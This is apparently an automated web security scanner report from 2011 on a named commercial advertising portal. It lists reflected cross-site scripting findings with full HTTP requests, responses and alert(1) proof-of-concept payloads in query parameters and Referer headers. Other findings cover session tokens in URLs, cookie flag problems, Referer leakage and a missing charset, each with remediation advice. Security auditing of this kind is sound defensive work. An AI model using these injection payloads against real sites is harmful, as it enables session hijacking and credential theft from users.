Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the _flowExecutionKey request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload efba2"%3balert(1)//3ceaa4565e1 was submitted in the _flowExecutionKey parameter. This input was echoed as efba2";alert(1)//3ceaa4565e1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /spportal/spportalFlow.do?_flowExecutionKey=_c5B4C9306-8FAA-6FD3-2AED-566980DE043F_kAF94A061-BD2F-6CAF-15E0-B0F5C2396D74efba2"%3balert(1)//3ceaa4565e1 HTTP/1.1 Host: www.supermedia.com Connection: keep-alive Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=6D1AFCF092257E37C24C0C2BF68821AD.app2-a1; trafficSource=default; CstrStatus=RVU; NSC_xxx-tvqfsnfejb-dpn=ffffffff9482139c45525d5f4f58455e445a4a42378b
Response
HTTP/1.1 200 OK Server: Unspecified Date: Sat, 19 Mar 2011 11:41:01 GMT Pragma: No-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache Cache-Control: no-store Content-Type: text/html;charset=UTF-8 Content-Language: en-US Connection: close Content-Length: 20656
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html lang="en-US"> <head>
<!-- UI framework designed and implemented by Advertiser Portal UI Team -->
<title>SuperPages ...[SNIP]... in"; s.prop4=""; s.prop5=""; s.prop6="General Exception"; s.prop7="A problem occurred restoring the flow execution with key '_c5B4C9306-8FAA-6FD3-2AED-566980DE043F_kAF94A061-BD2F-6CAF-15E0-B0F5C2396D74efba2";alert(1)//3ceaa4565e1'; nested exception is org.springframework.webflow.execution.repository.continuation.ContinuationNotFoundException: No flow execution continuation could be found in this group with id 'AF94A061-BD2F-6C ...[SNIP]...
The value of the _flowId request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1c6cd"%3balert(1)//8dbb93814fb was submitted in the _flowId parameter. This input was echoed as 1c6cd";alert(1)//8dbb93814fb in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /spportal/spportalFlow.do?fromPage=login&_flowId=loginact-flow1c6cd"%3balert(1)//8dbb93814fb HTTP/1.1 Host: www.supermedia.com Connection: keep-alive Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=6D1AFCF092257E37C24C0C2BF68821AD.app2-a1; trafficSource=default; CstrStatus=RVU; NSC_xxx-tvqfsnfejb-dpn=ffffffff9482139c45525d5f4f58455e445a4a42378b
Response
HTTP/1.1 200 OK Server: Unspecified Date: Sat, 19 Mar 2011 11:41:05 GMT Pragma: No-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache Cache-Control: no-store Content-Type: text/html;charset=UTF-8 Content-Language: en-US Connection: close Content-Length: 22541
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html lang="en-US"> <head>
<!-- UI framework designed and implemented by Advertiser Portal UI Team -->
<title>SuperPages ...[SNIP]... Name=""; s.prop1="Sign In Global Nav My Account Title"; s.prop2=""; s.prop3="Not Logged in"; s.prop4=""; s.prop5=""; s.prop6="General Exception"; s.prop7="No such flow definition with id 'loginact-flow1c6cd";alert(1)//8dbb93814fb' found; the flows available are: array<String> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload dbd04"-alert(1)-"018c837ca6b was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /spportal/myaccount.do;jsessionid=6D1AFCF092257E37C24C0C2BF68821AD.app2-a1 HTTP/1.1 Host: www.supermedia.com Connection: keep-alive Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=6D1AFCF092257E37C24C0C2BF68821AD.app2-a1; trafficSource=default; CstrStatus=RVU; NSC_xxx-tvqfsnfejb-dpn=ffffffff9482139c45525d5f4f58455e445a4a42378b Referer: http://www.google.com/search?hl=en&q=dbd04"-alert(1)-"018c837ca6b
Response (redirected)
HTTP/1.1 200 OK Server: Unspecified Date: Sat, 19 Mar 2011 11:41:28 GMT Pragma: No-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache Cache-Control: no-store Content-Type: text/html;charset=UTF-8 Content-Language: en-US Connection: close Content-Length: 24633
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html lang="en-US"> <head>
<title>Online Advertising : Superpages Small Business Online Advertising</title>
...[SNIP]... <!-- /* You may give each page an identifying name, server, and channel on the next lines. */ s.channel=""; s.pagetype=""; s.server=""; s.referrer="http://www.google.com/search?hl=en&q=dbd04"-alert(1)-"018c837ca6b"; s.pageName=""; s.prop1=""; s.prop2=""; s.prop3="Not Logged in"; s.prop4=""; s.prop5=""; s.prop6=""; s.prop7=""; s.prop8=""; s.prop9=""; s.prop10=""; s.prop11=""; s.prop12=""; s.prop13=""; s.prop14=" ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload dcea3"-alert(1)-"4db5b9d240d was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /spportal/spportalFlow.do?fromPage=login&_flowId=loginact-flow HTTP/1.1 Host: www.supermedia.com Connection: keep-alive Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=6D1AFCF092257E37C24C0C2BF68821AD.app2-a1; trafficSource=default; CstrStatus=RVU; NSC_xxx-tvqfsnfejb-dpn=ffffffff9482139c45525d5f4f58455e445a4a42378b Referer: http://www.google.com/search?hl=en&q=dcea3"-alert(1)-"4db5b9d240d
Response (redirected)
HTTP/1.1 200 OK Server: Unspecified Date: Sat, 19 Mar 2011 11:41:12 GMT Pragma: No-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache Cache-Control: no-store Content-Type: text/html;charset=UTF-8 Content-Language: en-US Connection: close Content-Length: 25287
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html lang="en-US"> <head>
<title>Online Advertising : Superpages Small Business Online Advertising</title>
...[SNIP]... <!-- /* You may give each page an identifying name, server, and channel on the next lines. */ s.channel=""; s.pagetype=""; s.server=""; s.referrer="http://www.google.com/search?hl=en&q=dcea3"-alert(1)-"4db5b9d240d"; s.pageName=""; s.prop1="Sign In Global Nav My Account Title"; s.prop2=""; s.prop3="Not Logged in"; s.prop4=""; s.prop5=""; s.prop6="No Such Flow"; s.prop7="No flow execution could be found with key ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 73e7b"-alert(1)-"2579232dbfe was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /spportal/spportalFlow.do?_flowExecutionKey=_c5B4C9306-8FAA-6FD3-2AED-566980DE043F_kAF94A061-BD2F-6CAF-15E0-B0F5C2396D74 HTTP/1.1 Host: www.supermedia.com Connection: keep-alive Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=6D1AFCF092257E37C24C0C2BF68821AD.app2-a1; trafficSource=default; CstrStatus=RVU; NSC_xxx-tvqfsnfejb-dpn=ffffffff9482139c45525d5f4f58455e445a4a42378b Referer: http://www.google.com/search?hl=en&q=73e7b"-alert(1)-"2579232dbfe
Response
HTTP/1.1 200 OK Server: Unspecified Date: Sat, 19 Mar 2011 11:41:06 GMT Pragma: No-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache Cache-Control: no-store Content-Type: text/html;charset=UTF-8 Content-Language: en-US Connection: close Content-Length: 24633
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html lang="en-US"> <head>
<title>Online Advertising : Superpages Small Business Online Advertising</title>
...[SNIP]... <!-- /* You may give each page an identifying name, server, and channel on the next lines. */ s.channel=""; s.pagetype=""; s.server=""; s.referrer="http://www.google.com/search?hl=en&q=73e7b"-alert(1)-"2579232dbfe"; s.pageName=""; s.prop1=""; s.prop2=""; s.prop3="Not Logged in"; s.prop4=""; s.prop5=""; s.prop6=""; s.prop7=""; s.prop8=""; s.prop9=""; s.prop10=""; s.prop11=""; s.prop12=""; s.prop13=""; s.prop14=" ...[SNIP]...
2. Session token in URLpreviousnext There are 3 instances of this issue:
Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing session tokens into the URL increases the risk that they will be captured by an attacker.
Issue remediation
The application should use an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /spportal/login.do;jsessionid=D82575B1204135560B6CDDD39A9C4CD6.app3-a1 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Accept-Encoding: gzip, deflate,gzip, deflate,gzip, deflate,gzip, deflate,gzip, deflate,gzip, deflate,gzip, deflate Host: www.supermedia.com
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /spportal/myaccount.do;jsessionid=E0E8653294817102845BCB54E051A1C1.app2-a1 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Accept-Encoding: gzip, deflate,gzip, deflate,gzip, deflate,gzip, deflate,gzip, deflate,gzip, deflate Host: www.supermedia.com
Response
HTTP/1.1 302 Moved Temporarily Server: Unspecified Date: Sat, 19 Mar 2011 11:51:42 GMT Set-Cookie: JSESSIONID=D82575B1204135560B6CDDD39A9C4CD6.app3-a1; Path=/; Secure Location: https://www.supermedia.com/spportal/login.do;jsessionid=D82575B1204135560B6CDDD39A9C4CD6.app3-a1 Content-Length: 0 Connection: close Set-Cookie: NSC_xxx-tvqfsnfejb-dpn=ffffffff9482139e45525d5f4f58455e445a4a42378b;path=/;httponly
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /spportal/spportalFlow.do?_flowExecutionKey=_c47FC5CD2-84B0-15BA-BBD6-7F2890FFCE5D_k1D7E1B65-A481-322E-8A3E-9052CB09A537%00%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3Enetsparker(0x00029D)%3C%2Fscript%3E HTTP/1.1 Host: www.supermedia.com Connection: keep-alive Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: trafficSource=default; CstrStatus=RVU
If the secure flag is set on a cookie, then browsers will not submit the cookie in any requests that use an unencrypted HTTP connection, thereby preventing the cookie from being trivially intercepted by an attacker monitoring network traffic. If the secure flag is not set, then the cookie will be transmitted in clear-text if the user visits any HTTP URLs within the cookie's scope. An attacker may be able to induce this event by feeding a user suitable links, either directly or via another web site. Even if the domain which issued the cookie does not host any content that is accessed over HTTP, an attacker may be able to use links of the form http://example.com:443/ to perform the same attack.
Issue remediation
The secure flag should be set on all cookies that are used for transmitting sensitive data when accessing content over HTTPS. If cookies are used to transmit session tokens, then areas of the application that are accessed over HTTPS should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /spportal/login.do;jsessionid=D82575B1204135560B6CDDD39A9C4CD6.app3-a1 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Accept-Encoding: gzip, deflate,gzip, deflate,gzip, deflate,gzip, deflate,gzip, deflate,gzip, deflate,gzip, deflate Host: www.supermedia.com
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /spportal/myaccount.do;jsessionid=E0E8653294817102845BCB54E051A1C1.app2-a1 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Accept-Encoding: gzip, deflate,gzip, deflate,gzip, deflate,gzip, deflate,gzip, deflate,gzip, deflate Host: www.supermedia.com
Response
HTTP/1.1 302 Moved Temporarily Server: Unspecified Date: Sat, 19 Mar 2011 11:51:42 GMT Set-Cookie: JSESSIONID=D82575B1204135560B6CDDD39A9C4CD6.app3-a1; Path=/; Secure Location: https://www.supermedia.com/spportal/login.do;jsessionid=D82575B1204135560B6CDDD39A9C4CD6.app3-a1 Content-Length: 0 Connection: close Set-Cookie: NSC_xxx-tvqfsnfejb-dpn=ffffffff9482139e45525d5f4f58455e445a4a42378b;path=/;httponly
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /spportal/spportalFlow.do?_flowExecutionKey=_c47FC5CD2-84B0-15BA-BBD6-7F2890FFCE5D_k1D7E1B65-A481-322E-8A3E-9052CB09A537%00%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3Enetsparker(0x00029D)%3C%2Fscript%3E HTTP/1.1 Host: www.supermedia.com Connection: keep-alive Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: trafficSource=default; CstrStatus=RVU
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
Request
GET /spportal/spportalFlow.do?_flowExecutionKey=_c5B4C9306-8FAA-6FD3-2AED-566980DE043F_kAF94A061-BD2F-6CAF-15E0-B0F5C2396D74 HTTP/1.1 Host: www.supermedia.com Connection: keep-alive Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=6D1AFCF092257E37C24C0C2BF68821AD.app2-a1; trafficSource=default; CstrStatus=RVU; NSC_xxx-tvqfsnfejb-dpn=ffffffff9482139c45525d5f4f58455e445a4a42378b
Response
HTTP/1.1 200 OK Server: Unspecified Date: Sat, 19 Mar 2011 11:40:46 GMT Pragma: No-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache Cache-Control: no-store Content-Type: text/html;charset=UTF-8 Content-Language: en-US Connection: close Content-Length: 24568
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html lang="en-US"> <head>
<title>Online Advertising : Superpages Small Business Online Advertising</title>
If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.
In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.